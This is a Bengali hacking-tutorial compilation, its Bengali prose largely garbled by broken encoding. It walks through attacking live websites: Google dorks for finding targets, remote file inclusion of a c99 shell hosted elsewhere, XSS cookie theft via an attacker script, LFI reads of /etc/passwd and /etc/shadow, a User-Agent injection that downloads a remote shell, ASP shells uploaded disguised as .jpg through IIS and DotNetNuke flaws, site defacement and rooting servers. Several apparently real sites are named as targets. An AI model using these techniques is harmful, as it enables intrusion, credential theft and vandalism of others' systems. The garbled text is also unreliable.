িণব পরকযাটি রকষ করন স শধ কতনচছজয কতচনতা কাচছজ রাগার এফংএকটি সছাটফাকত নতযী কযর তাচছর সদখন সাযার আকতনজকতনযাকতযং খফআগরতবনবঅকতন সকান কতকছচছক ফি কযচছত চছর সাযার আকতনজকতনযাকতযং এযাাময ফযাকতততমভফ নয
অনায ফনধয কব ট একাউনট যাকতকং কযচছতচাআচছর Forget password একতিক কচছযআ াধাযন কচছযকটি পরচছশনয উততয কতদচছযআ অকতন যাক কযচছত াচছযন কাযন ভানল ঐকর জাযগায কতকছ াধাযন পরশনআ সফচছছ সনয অয অকতন অনায ফনধয াধাযন সতা অচছছআ এভনকতক চছনক সগান তথয জাচছনন তাআ নয কী তাচছর সদখা মাচছে এখাচছন সাযার আকতনজকতনযাকতযং একটি গরতবণব কতফলয
মিািযা িআসজজসিোসরিংমের লসিলাী িিংজঞা
ভানলকতক বাচব যার জগচছত মাকতচত কাজ সমভন সকান কচছবাচছযট কতপচছয সনটযাচছকব পরচছফ তাচছদয নরাআন কতকতকউকতযটি পাযাযযার একাউনট আতযাকতদ কতনকতফিবাচছফ মচছফকষবন কচছয তাচছত অকরভন কযা এচছকষচছতর কতফকতবনন ধযচছনয পটযযাচছযয াাময সনযা মায ফা কতনচছজয ফানাচছনা সকান াডব যযায ফা সকাকতডং কাচছজ রাগাচছনা মায
ভচছন করন অনায আচছভআচছর এর এযকভ একটি ফাতব া সম Congrats You have got 100000 free visitor CLICK
HERE for withdraw এবাচছফ পরকততকতদন ভগর কতফচছশব াজায াজায ভানল তাচছদয সকরকতডটকাচছডব য তথয কতফকতবননগরতবণব তথয নরাআচছন জভা কতদচছে অয যাকতকংচছযয কতকায চছে সাযার আকতনজকতনযাকতযং কতনচছনাি কচছযকটি বাচছগকতফবি
ndashgtimpersonation
mdashgtposing as imp user
mdashgt3rd person approach
mdashgttechnical support
কসিউটার সভসিক মিািযা িআসজজসিোসরিং
কতনচছচয কচছযকটি বাচছগ কতফবি
ndashgtmailim attachments
ndashgtpop up windows
mdashgtsweepstakes
mdashgtspam mail
এআ ধযাচছযয এখাচছনআ ভাকতি ভচছন যাখচছফন সকান কাজ কযায অচছগ এয সাযার আকতনজকতনযাকতযংচছযয ফযাযটি খফ বাচছরাবাচছফ নধাফন কযা উকতচত মখন অভযা কায আচছভআচছর সকান কতকছ াঠাআ এফং স মকতদ কতকছ াঠায সটাআ সাযার আকতনজকতনযাকতযং অয এবাচছফআ অভযা সাযার আকতনজকতনযাকতযং কাউচছক সটরাজান ফা কী-রগায াঠাচছত ফযফায কযফ ফাআ খফ বাচছরা থাকচছফন
কতরচছখচছছনঃ সভচছকতদ াান
অজ সদখাফ Remote file inclusion যাকতকং অনাযা যত জাচছনন না সম যাকতকং কযায সথচছক যাকতকং কতনচছয সাি সরখা অয কঠিন কিকয মকতদ সাি কযচছতন তাচছর ফঝচছতন থাক সাি কযা রাগচছফ না শধ ভনতফয কযচছরআ চছফ ভনতফয কযচছর সাচছিয সরখক উৎাকতত য এচছত তাচছদয সরখায গকতত সবাচনদয ফাচছি তাচছর অয কথা নয এফায শর চছয মাক সািটিhellip
Remote file inclusion যাকতকং এচছক ংচছকষচছ ফচছর RFI যাকতকং এটি ননযা যাকতকং ভযাথচছডয ভচছধয এটি একটি নযতভ জনকতপরয ভযাথড নযনযা িকততয ভচছতা এআ িকততচছত অনাচছক চছযফাআচছটয vulnerability সফয কযচছত চছফ এআ vulnerability এয ভাধযচছভ একজন যাকায একটি চছযফ াবব াচছযয remote file মি কযচছত াচছয অা ককতয RFI যাকতকং িচছকব সভাটাভটি ধাযণা সচছযচছছন
mdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdash
mdashmdashmdashmdashmdash
সকান াআটটি vulnerable কতকবাচছফ ফঝচছফন খফআ কঠিন পরশন তাআ না এআ পরচছশনয উততয জানায জনয কতনচছচয কতরংকটি সদচছখনhellip
httpwwwtargetsitecomindexphppage=Anything
উচছযয কতরংচছকয ভচছতাআ সদখচছত াচছফন সমগচছরা অকতন খজচছেন তনন তনন কচছয এখন এগচছরা ফাকতয কযচছফন কতকবাচছফ গগর ডকদযকায কতনন কতনচছচ গগর ডক কতদরাভ
ldquoinurlindexphppage=rdquo
উচছযয ডকটি গগচছর কতনচছয াচব কতদন তাচছর অনাচছক ―indexphppage= এআ টাআচছয মত চছযফাআট অচছছ
ফগচছরা চছযফাআট গগর অনায াভচছন এচছন াকতজয কযচছফ এখন সকান চছযফাআটটি অজচছকয ভযাথচছডয জনয vulnerable তা যীকষা কচছয সদখচছত চছফ কতকবাচছফ কযচছফন কতনচছচয ভচছতা কচছয করন
httpwwwtargetsitecomindexphppage=wwwgooglecom
এখন ভচছন কচছযন অকতভ অকতভ httpwwwcbspkcomএআ াআটটি খচছজ সচছযকতছ এখন অভযা চাআফ এটা vulnerable কতক না তাচছর কতরখনhellip
httpwwwcbspkcomv2indexphppage=httpwwwtunerpagecom
তাচছর এটি সদখাচছফhellip
এখন মকতদ উি চছযফাআটটি নয চছযফাআট কতনচছয সখাচছর তাচছর ফঝচছফন সম এআ চছযফ াআচছট RFI আচছেকান সদযা মাচছফ এফায অন চছযয ধাচছhellip
এযয াধাযণত যাকাযযা তায কতবকটিচছভয চছযফাআচছট সম সকান Shells অচছরাড কচছয মাচছত তায কাজটি ফাআচছক সদখাচছত ভাচছন পরভাণটি সফকতযবাগ যাকাযযা c99 shell ফা r57 shell অচছরাড কচছয অকতভ অনাচছদয সদখাফ c99 shell অচছরাড কযা এজনয যাকাযযা সম সকান একটি চছযফচছািটিং াআচছট তাচছদয সর অচছরাড কচছয সনয সমভন-ripwaycom 110mbcom আতযাকতদ এখন ভচছন কচছযন অকতভ ripwaycom এআ াআচছট সর অচছরাড কযরাভ তাচছর অভায কতরংক চছফhellip
httph1ripwaycomtjunselectedc99shellphp
এফায যাকায চছযফাআটটিচছত একটি কভানড কতদচছফ কভানডটি চছফ httpwwwcbspkcomv2indexphppage=httph1ripwaycomtjunselectedc99shellphp
এখন তাচছর এটি চছযফাআট সদখফ সদচছখন কতক সদচছখন
তচছফ ফযআ ভচছন যাখচছফন কতরংচছকয সচছলldquo rdquo পরশনচছফাধক কতচহনটি রাকতগচছয কতদচছফন নতফা অনায সর কাজ কযচছফ না
কতনফবাকতচতটিউনাযtrade
XSS কতক
XSS যাকতকং িচছকব জানচছত চছর পরথচছভআ জানচছত চছফ XSS কতজকতনটা কতক Cross site Scripting এয ংকতকষিরআ চছে XSS এটাচছক অফায CSS(Cascading Style sheet) ফচছর থাচছক মায সমবাচছফ আো স বাচছফ ফচছর এটা Web
Application Vulnerability এয ফচছচচছয জনকতপরয গচছরায একটি এআ vulnerability একজন যাকাযচছক একটি াআচছট client side scripts (কতফচছল কতকছ Javascript) আনাটব কযায নভকতত পরদান কচছযন এআ vulnerability কতদচছয একজন যাকায কতবকটিচছভয াআচছট malicious codes malware attack phishing আতযাকতদ inject কযাচছত াচছয
ছকতফঃ http3bpblogspotcom_lBoKsfWMhbETLYDr8vQmTIAAAAAAAAAAMV1wVWY0GB70s1600
xss-threat3jpg
XSS Vulnerability and Injection
যাপ ১ Vulnerable মেব িািআট োমজ মবর করা
অচছন পরথচছভ Vulnerable াআট খচছজ সফয করন এজনয স পরথচছভ Google এ মান তাযয Google Dorks
ফযফায কচছয Vulnerable াআট খচছজ সফয কচছযন তাচছর অকতন তায াচছথ াচব কতদন কতনচছচয sql Injection কতদচছয searchq=
তাচছর অকতন চছনকগচছরা Vulnerable াআট খচছজ াচছফন এফায একটি াআচছট পরচছফ করন
যাপ ২ Vulnerability পরীো করা
এখন অভযা সম াআচছট পরচছফ কচছযকতছ সআ াআচছটয Vulnerability যীকষা কচছয সদখফ এজনয অনাচছক পরথচছভ উি াআচছটয এফটি সাি ফা parameter খচছজ সফয কযচছত চছফ ফচছঝচছছন
না ফঝচছর একট চছকষা কচছযন ফরকতছ ভাচছন অকতন এভন একটি সািখচছজ সফয কযচছফন মা উি াআচছটয াবব ায াঠাচছফ সমভনঃ search query username password
Vulnerability যীকষা কযা জনয দটি িকতত অচছছ
পদধসত ১ পরথম পদধসত হ িািআমটর ম িািব বমে injection করা একজন যাকায াধাযণত াআচছটয ভর াচব ফচছকস একটি malcious script কতরচছখ তাযযাচব ফাটচছন কতিক কচছয াচব সদযায াচছথ াচছথ malcious script টি চছযফাআচছট কাজ কযা শর কচছয সদয
http2bpblogspotcom-
8z5CXuZZpegTpgBgtdbdBIAAAAAAAAAsEqCTc_dxniWEs1600search+boxjpg
পদধসত ২ িািআমটর URL এ injection করা এটি সকান াচব ফচছকস কাজ কচছয না এটি শধ ভাতর াআচছটয URL এ কাজ কচছয থাচছক সমভনঃ- htpvulnerablewebsitesearchq=malicious_script_goes_here
যীকষা কযায কতফধাচছথব input fields কতচছচছফ কতনচছচয সকাডটি কতদন
এফায উচছযয সকাডটি কতদচছয অকতন এফায যীকষা কচছয সদখন সমভনঃ-
পরথম পদধসতিঃ অকতন উচছযয সকাডটি অনায কতবকটিচছভয াআচছটয ভর াচব ফচছকস কতরচছখ াচব সদন
সিতীে পদধসতিঃ অকতন কতবকটিচছভয াআচছটয কতরংচছক রাকতগচছয এনটায কতদন সমভনঃ- httpvulnerablewebsitesearchq=
এফায মকতদ extreme hackerlsquo কতরখা একটি অ ফকস অচছ তাচছর ফঝচছফন সম এআ াআটটি XSS এয জনয vulnerable
যাপ ৩ Malicious Scripts মদো
Vulnerability যীকষা কযায য একজন যাকাচছযয যফতী কাজ র কতবকটিচছভয াআচছট malicious scripts আচছেকট কযাচছনা এটি উকতি াআচছটয cookies চকতয কযা এফং malware attack কযচছত চছমাকতগতা কযচছফ
এখন ভচছন করন যাকাচছযয াআচছট cookie stealing script টি অচছছ তাচছর তায malicious script url চছফ
httpattackerSitemaliciousjs
এখন যাকায তায malcious script টি vulnerable site এ inject কযচছত াযচছফন তাচছর তায URL চছফ
এযয মখনআ উি াআচছটয কতবকতজটয উি াআচছট কতবকতজট কযচছফ তখকতন malcious script টি কাজ শর কচছয কতদচছফ এফং ককতক চকতয কযা শর কচছয কতদচছফ
িাযারণত XSS এর েমতা িিিামর persisting capability হে দিআ যরমির একটা হ Persistent িঅমরকটা হ Non-Persistent
Persistent XSS
এটার ফচছচচছয সফকত ঝ কতকণব XSS vulnerability এটা যাকতয াবব ায সথচছকআ ডাটা ভ ংযকষণ কচছয থাচছক তাআ অকতন মখনআ উি াআচছট malicious script injection কতদচছফন াচছথ াচছথ এটি চছযফ এযাকতপলচছকাচছন সথাযীবাচছফ ংযকষণ চছয মাচছফ এটি নযনযা কর কতবকতজটযচছক এটা সদকতখচছয কতদচছফ মকতদ অকতন অনায কতবকটিচছভয চছযফ াআচছট malicious script injection কযচছফন তাচছর এটি উি াআচছট অা কতবকতজটযচছদয অকরানত কচছয সমভনঃ- কতকছ কতকছ াআট অচছছ মাযা তাচছদয াআচছটয ফযফাযকাকতযচছদয টযাক কযায জনয search query গচছরা ংযকষণকচছয যাচছখ মায পরাপর XSS এয permanent storage
Non-Persistent XSS
এচছক চছনচছকআ Reflected XSS ফচছরথাচছক এজনযআ malicious script এখাচছন সটিযাযী পচছর অনায সদযা িীপটটি াধাযণ কতবকতজটযযা সদখচছত াযচছফ না তচছফ যা মাযা যাকায তাযাতাচছদয সদযা িীপটটি কতবকতজটযচছদয সদখাচছনায জনয injection টি ফযফাযকচছয থাচছক ভজায কতফলয র মাযা উি াআচছটয মাযা কতনযকতভত কতবকতজটয তাযা কতকনত ভচছন কচছয সম এটা াআচছটয কতনচছজয কতরংক পচছর তাযা সখাচছন মায অয তাযউি াআচছটয যাকতকংচছযয কতকায য সমভনঃ- অকতন কতকছ কতকছ াআচছট সম সকানকতজকতন াচব কতদচছর সদখচছফন অনাচছদয অনায সদযা াচব কতসটরংটি অনাচছক নযায সদখাচছে এটায কাযচছণআ malicious code temporarily
একজি হযাকার এিআ Vulnerability সদমে সক কমর
কতযচযতর কতফকতবনন সগানীয তথয চকতয কযা
চছযফ াআচছটয Bypassing restriction
Session Hijacking Malware Attack
Website Defacement Dos attacks
কাচছটব কত ndash কতনফবাকতচত টিউনাযtrade গগর
শব কাভনা অনাচছদয জনয যাকতকং কতখন কতকনত যাকতকং কষকতত কযায উচছেচছয কাচছজ রাগাচছফন না ভরতঃ যাকতকং ভযাথচছডয সল সনআ অা ককতয সকউ ফরচছত াযচছফ না সম
অকতভযাকতকংচছযয ফআ াকতয তাচছর স বর ফচছরচছছ এচছকয য এক কতনযভ নতকতয চছে
যাকতকং কযা য অচছর কতনচছজয সভধা কতদচছয অকতন সম বাচছফ াচছযন যাকতকং কচছয মাচছফন অজ সদখাফ যাকতকংচছযয অচছযকটি জনকতপরয ভযাথড এটা চছনচছকআ ফযফায কচছযথাচছক চরন তাচছর ভর চছফব চচছর মাযা মাক
LFI
যাকাযচছদয
একটি জনকতপরয ভযাথড এটি একটি ংকতকষি নাভ এআ ংকতকষি বদটিয ণবর র
Local File Inclusionঅজ
অনাচছদয
াচছত-করচছভ সদখাফ কতকবাচছফ অকতন একটা াআচছট LFI Injection কতদচছত য
পরথচছভ
কতনচছচয PHP সকাডগচছরা
সদখনhellip
$page=$_GET[page] include($page)
gt
উচছয php সকাডটি চছনক চছযফ সডচছবরাযযাআ তাচছদয চছযফাআচছট ফযফায কচছয থাচছক
কতকনত এটি অচছর তাযা বর কচছয থাচছক কাযণ এআ $pageসকাডটি sanitized না এফং এটি এটা যাকাযচছদয থটা জ কচছয সদয ভরতঃ এআ সকাডটি যাকাযযা তাচছদয LFI যাকতকংচছযয কাচছজ ফযফায কচছয থাচছক অকতন মকতদ কতফকতবনন াআট ঘচছয থাচছকন তাচছর ত কতনচছচয সকাড াআচছটয কতরংক সদখচছত াযচছফ
wwwmywebsitecomindexphppage=productsphp
অকতনএআ ধযচছনয াআচছট সকান ধযচছনয যীকষা ছািাআ ফঝচছত াযচছফন সম
এটি একটি বযারচছযফ চছযফাআট ধচছযন অকতন একটা াআচছট ঢকচছরন উি াআচছটয URL র
wwwmywebsitecomindexphppage=mypagephp
এখাচছন
সদচছখন mypagephp াতাটি
াবব াচছয
সনআ তাআ এটি একটি php error message ভযাচছজ সদচছফ সমভনঃ-
Warning
include() [functioninclude] Failed opening mypagephp for
inclusion
তাচছর
এফায অভযা এআ াআচছট পরচছফ কযফ অভযা জানরাভ সম এটিএকটি vulnerable চছযফাআট মকতদ এআ াআটটি unix server এ চছয থাচছক তাচছর অভযা যত াযাচছডব পাআরটি এখান সথচছক সফয কযচছত াযফ etcpasswd
এআডাআচছযকটকতযচছত াধাযণত াযাডব ংযকতকষত থাচছক সমভনঃ
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
এখন
অভযা পাআচছর
পরচছফ
কচছয াযাডব কতনচছত সচিা কযফ এখাচছন একটা কতজকতন ভচছন যাচছখফন সটায জনয কতনচছচয কতরংকটি সদচছখনhellip
wwwmywebsitecomindexphppage=products
এখাচছন
একটা কতজকতন রকষয করন সম
php এয
য page=products যচছযচছছ
এটি অচছর ভযানযাকতর কযা চছযচছছ তাআ এখাচছন php র
$page=$_GET[page]
include($pagelsquophplsquo)
gt
এআ জনযআ কতরংচছকয সচছল null extension ফযফহত চছয থাচছক
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpassd
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
সফকতকষণচছনআ অকতন এআ াআচছটয াযাডব পাআরগচছরা সচছয মাচছফন passwdlsquo file পাআর িচছকব অগাকতভ কতফসতাকতযত ফরা চছফ এছািা অকতন অয সদখচছত াচছফনhellip
etcprofile
etcservices
etcpasswd
etcshadow
etcgroup
etcsecuritygroup
etcsecuritypasswd
etcsecurityuser
etcsecurityenviron
etcsecuritylimits
usrlibsecuritymkuserdefault
এআ পাআরগচছরা অনাচছক াবব াচছযয অয গরতবণব চছনক তথয কতদচছফ
------------------------------------------------------------------------------------------
hellipএবার িঅমরা হযাসকিং মদেবhellip
Requirements
1) Site vulnerable to LFI ( httpwwwsitecom)
2) Remoteshell( httpwwwyourhostingurshelltxt)
3) User-Agent_switcher( httpsaddonsmozillaorgen-USfirefoxhellip-switcher
4) Mozilla Firefox Browser
পরথচছভআ সদচছখ কতনন অনায াআটটি LFI এয জনয vulnerable কতকনা
Google ―Dork
indexphphomepage=
indexphppage=
indexphpindex2=
allinurlindexphppage=
অচছন replace কযচছত াচছযন index and page জাযগায নয কতকছ কতদচছয াচব কতদচছত াচছযন
সমভন
allinurlsitephpsite=
এফায ডক গগচছর কতদচছয াচব কতদন
অভযা
কতনচছছয ভত একটি াআট কতনরাভ
httpwwwfilllpgcoukindexphppage=contactsphp
এফায replace contactsphp মাযগায null তাচছর কতনচছছয ভত চছফ
httpwwwfilllpgcoukindexphppage=null
তাচছর নীচছচয ভত সদখাচছফ
If you see a list of errors running down the page or missing content
(pictures text etc) then the site is vulnerable and we may continue
otherwise just move on to the next site
Now were going to try and connect to a file which we know exists on Linux
servers etcpasswd
Since indexphp has the rights to connect to a file like contactsphp its
possible that the administrator has forgottten to restrict its access to other
files including the files containing sensitive data
Were going to try to read the file etcpasswd which contains data
on root users etc
অভযা null না কতদচছয etcpasswd কতদচছয যাকতয কাজটি কযচছত
াকতয নীচছচয ভত
এফায etcpasswd পাআরটি চছন কযচছত সচিা করন সমভনঃ
httpwwwfilllpgcoukindexphppage=etcpasswd
মকতদ ডাটায সকান কতরে অচছ তাচছর বাগযফান
েসব মদেি http2bpblogspotcom-YAu_DU3GnIoUKBUrssob4IAAAAAAAAAncHqzZkWe3Mags16001JPG
etcpasswd এয মাযগায procselfenviron কতদন তাচছর কতনচছছয ভত সদখচছত াযচছফন ফ াআট এ না থাকচছত াচছয
httpwwwfilllpgcoukindexphppage=procselfenviron
েসব মদেিhttp2bpblogspotcom-qNdN6g9o1MwUKBU-FTOEGIAAAAAAAAAnkYY7AfqVLRlws16002JPG
এফায User-Agent switcher টি ডাউনচছরাড করন এফায Tools ndashgt Default User-Agent
ndashgt Edit User Agents এখাচছন মান তাচছর কতনচছচয ভচছতা কচছয অচছফhellip
েসব মদেি http4bpblogspotcom-fh7-99XttP4TocL11IQMjIAAAAAAAAANMgzecxiOXVFAs4001JPG
এফায
অভযা নতন একটি new user-agent নতকতয কযফ এজনয এখাচছন মান New ndashgt New User-Agent তাচছর
অকতন কতনচছচয ভচছতা কচছয সদখচছত াচছফন
েসব মদেি http3bpblogspotcom-WD_WKG02RTQTocL5ww6j5IAAAAAAAAANQWM_jJ7BPEaIs4002JPG
এখাচছন সমটা সমবাচছফ অচছছ সবাচছফআ সযচছখ চচছর অন Description এ নাভ কতরখন এফং
User-Agent টি এখাচছন সি করন User-Agent এয Tools
ndashgt Default User Agent ndashgt PHP Info সত মান এফায অনায াআচছট মান কতযচছে সদন
তাচছর অকতন উি াআচছট কতনচছচয ভচছতা সদখচছত াচছফন
েসব মদেি http2bpblogspotcom-
kpML0wTbmOYUKBV_gC2FTIAAAAAAAAAoEPpFQMVpKzbUs16006JPG
এফায
Ctrl+F সচচছ
―disable_functions খচছজ সফয করন
disable_functions
| no value | no value
এখন
অভযা অভাচছদয সর কতদচছত াযফ এফায অফায অনায User-Agent এ মান
Edit করন
এফায ―User-Agent টি কতযফতব ন কচছয কতরখন
httpwwwsh3llorgegytxt -O shellphp)gt[
এটা সকাথা সথচছক কতনরাভ অনাচছক পরথচছভ সম ডাউনচছরাড কযচছত ফরা র সর সখান সথচছক এটা সনযা চছযচছছ এখাচছন অভযা উচছয একটি txt পাআর ডাউনচছরাড কচছযকতছ অকতন এটা চছন করন এফায File --gt Save as এ মান এফায shellphp নাভ কতদচছয সবকরন ]
এফায
এটি সব কচছয াআটটি কতযচছে করন এফায তাচছর এখাচছন মান httpwwwsitecomshellphp ভাচছন এটা অনায কতবকটিচছভয াআচছটয কতরংক
েসব মদেি http3bpblogspotcom-
SRkz9h0d8soUKBWLQD1FMIAAAAAAAAAoMlpGNG1UgYMss16007JPG
কতকছ
সডচছভা
াআট কতরংক কতদরাভ
কতকছ
াআট LFI httppastebinca2385927
কতফধাযজনয াচছথ কতবকতড টিউটিকতযযার কতদরাভ
httpwwwyoutubecomwatchv=FP229bKm5v4
httpwwwyoutubecomwatchv=9W9qWAhwaTo
httpwwwyoutubecomwatchv=hMguilRsteY
কাচছটব কত-কতনফবাকতচত টিউনাযtrade
অারাভ অরাআকভ ফাআচছক অফাযসবাগতভ জাকতনচছয অজচছকয টিউন শর কযকতছ
সকভন অচছছন অনাযা অা ককতয ভান অো তাযারায চছল যভচছত খফআ বার অচছছন অজ অফায অনাচছদয জনয এচছনকতছ চছযফ যাকতকং কতনচছয সতা কথা কভ ফচছর কাচছজয কথায অকত
অজ অকতভ অচছরাচনা কযফ IIS(IIS=The Internet Information Server Attack) কতনচছয
উআচছনডাজ একসকত এয কতনভাফকতরঃ ১Run এ
WINDIREXPLOREREXE 20D04FE0-3AEA-1069-A2D8-08002B30309DBDEADF00-C265-11d0-BCED-
00A0C90AB50F
কতরচছখ Enter চান
২ একটি সপাডায অচছফ মায নাভ ldquoWEB FOLDERrdquo
ছকতফ
৩ এখন Right click কচছয NewgtAdd Web Foldergtvulnerable website address
Google Dork - ldquoPowered by IISrdquo
৪কতিক NextgtNextgtFinish
৫ডাফর কতিক কচছয সতাভায কতডচছপ ককত সে কচছয কতদন
এখন সতাভায কতডচছপ সজ httpwwwtargetcomdefacehtml
কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=P4ISzsSBTik
কতফঃদরঃ Microsoft চছনক াআচছটয vulnerability ঠিক কচছযচছছ তাআ vulnerable াআট াযা কিকয
gtgtউআচছনডাজ ৭ এয কতনযভাফকতর gtgt
কতকবাচছফ উআচছনডাজ ৭ এ IIS Exploit যাকতকং কযচছফন াযচছফন অনাচছদয জনয এয অচছগ টিচছজ কতকতনকস কর একটা সাি কচছযকতছর IIS Exploit এয উয তাচছর অয কথা নয এখনআ শর কচছয সদআ টিউচছটাকতযযারটি icon smile IIS Exploit িণব
ফাংরা যাকতকং টিউচছটাকতযযার
পরথচছভ My Computer এয মান এফায খাকতর জাযগায যাআট ফাটন কতিক কচছয Add a network Location এ কতিক করন
ছকতফ
এফায Next ফাটচছন কতিক করন
ছকতফ
অফায Next করন
ছকতফhttpi1085photobucketcomalbumsj431powerin10no3jpg
এফায vuln website টিয কতরংকটি কতদন Next করন াআট কতরংক এভন চছফঃ httpwwwmyxixiacom
ছকতফ
অফায Next ফাটচছন কতিক করন
এফায Finish ফাটচছন কতিক করন
ছকতফ
এফায Network Location Option mdashgt website folder এ কতিক করন
ছকতফ
এফায কতনচছচয কতরংক সথচছক shell ডাউনচছরাড কচছয কতনন
wwwzidducomdownload16498227shellziphtml
এফায ডাউনচছরাড যা পাআরটিয উয যাআট ফাটন কতিক কচছয Extract এ কতিক করন
ছকতফ
এফায Poweraspjpg পাআরটি ককত করন
ছকতফ
এফায চছযফ সপাডাচছয poweraspjpg পাআরটি সি করন
ছকতফ
সি কযা সল
এফায অনাযা বরাউজাযটি চছন করন
তাযয অনায কতবকটিচছভয াআচছটয কতরংচছকয সচছল poweraspjpg কতরচছখ এনটায কতদন
সমভনঃ httpwwwmyxixiacompoweraspjpg
ছকতফ
তাচছর অকতন চছনকগচছরা অআচছটভ সদখচছত াচছফন কতরচছি এখান সথচছক indexasp পাআরটি একতডট কযফ
ছকতফ
এফায অনাযা deface html পাআরটি চছন করন
এফায এটায উয যাআট ফাটন কতিক কচছয open with notepad এ কতিক করন
এফায সকাড ফগচছরা ককত করন
ছকতফ
এফায অনায একতডট কযা indexasp পাআরটিচছত ফগচছরা সকাড সি কচছয সব করন
ছকতফ
সব কযায য অকতন এভন একটি সজ াচছফন
ছকতফ
এফায অকতন অনায কতডচছপআ সচছজয নাভ কতবকটিচছভয াআচছটয কতরংচছকয সচছল কতদচছত চছফ তাচছর এফায অকতন কচছয মান
কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=iG-cjssooVgampfeature=related
`
DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন
inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx
গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না
ছকতফ
২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ
৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা
ছকতফ
৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)
ছকতফ
৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ
৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত
কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয
কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায
সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww
কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক
ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ
কতকবাচছফ DdoS যাটাক কযফ
পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন
DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য
এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ
থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক
এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা
এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন
কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয
১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ
অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয
একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয
কতকনত DoS যাটাক টা চছে কতনচছচয ভত
